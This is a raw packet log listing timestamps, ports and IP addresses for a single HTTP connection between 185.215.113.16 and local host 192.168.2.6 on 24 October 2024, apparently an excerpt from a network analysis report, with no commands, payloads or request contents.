Oct 24, 2024 09:07:31.545908928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.545943022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.545953989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.545963049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.545984983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.545993090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546010971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546035051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546044111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546055079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546068907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546077967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546088934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546166897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546178102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546185970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546200991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546207905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546225071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546235085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546247005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546267986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546279907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546370983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546377897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546390057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546418905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546488047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546495914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546511889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546533108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546619892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546648026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546655893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546664000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546670914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546679974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546690941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546717882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546804905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546812057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546827078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546833992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546848059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546858072 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546873093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546890020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.546962023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546969891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546984911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.546998024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547007084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547019958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.547029972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547049046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.547076941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.547103882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547118902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547127008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547163963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.547275066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547285080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547297955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547305107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547327042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.547347069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547357082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.547396898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661181927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661205053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661221981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661259890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661329031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661338091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661346912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661360979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661370039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661376953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661420107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661446095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661453962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661475897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661484957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661494017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661504984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661525011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661603928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661612034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661631107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661638975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661645889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661664009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661693096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661740065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661747932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661756039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661762953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661781073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661782980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661811113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661885023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661892891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661900997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661909103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661926985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661941051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661947012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661956072 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661977053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.661982059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.661994934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662012100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662100077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662107944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662132025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662137032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662146091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662159920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662168980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662190914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662257910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662266016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662281036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662287951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662302017 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662302971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662316084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662333965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662370920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662400007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662408113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662422895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662441969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662514925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662523031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662530899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662538052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662545919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662553072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.662559032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.662591934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663096905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663105011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663120031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663145065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663172960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663212061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663218975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663233995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663242102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663254023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663280964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663363934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663382053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663389921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663397074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663404942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663412094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663419962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663425922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663440943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.663455963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.663476944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706188917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706216097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706228971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706257105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706286907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706300020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706322908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706334114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706357002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706367016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706378937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706396103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706410885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706422091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706433058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706449032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706468105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706501961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706516981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706531048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706543922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706558943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706568003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706578970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706594944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706614017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706628084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706645012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706651926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706665993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706682920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706754923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706763029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706764936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706784010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706804037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706809998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706824064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706847906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706876993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706891060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706906080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706918001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.706926107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.706959009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.707019091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.707032919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.707048893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.707058907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.707082987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.707091093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.707103014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.707129955 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778182030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778198957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778234005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778244972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778275967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778291941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778312922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778393030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778408051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778430939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778439045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778461933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778471947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778482914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778497934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778512955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778522968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778536081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778551102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778561115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778573990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778594971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778606892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778620958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778640985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778651953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778667927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778680086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778688908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778701067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778718948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778724909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778737068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778767109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778781891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778795004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778812885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778820038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778832912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778856993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778871059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778886080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778904915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778911114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778935909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778942108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.778955936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778970957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.778987885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779021025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779035091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779053926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779059887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779073000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779092073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779098034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779109001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779123068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779133081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779160976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779167891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779180050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779201984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779211044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779223919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779247046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779258966 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779278994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779290915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779304981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779325962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779340029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779350042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779371977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779386997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779407024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779417992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779433012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779445887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779457092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779470921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779480934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779503107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779517889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779536009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779541969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779555082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779566050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779577017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779592991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779611111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779618025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779632092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779640913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779655933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779670000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779685974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779699087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779741049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779840946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779855013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779870033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779886961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779894114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779906988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779921055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779928923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779942989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779961109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779967070 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.779983044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779984951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.779995918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780008078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780020952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.780040026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:31.780056953 CEST	80	49772	185.215.113.16	192.168.2.6
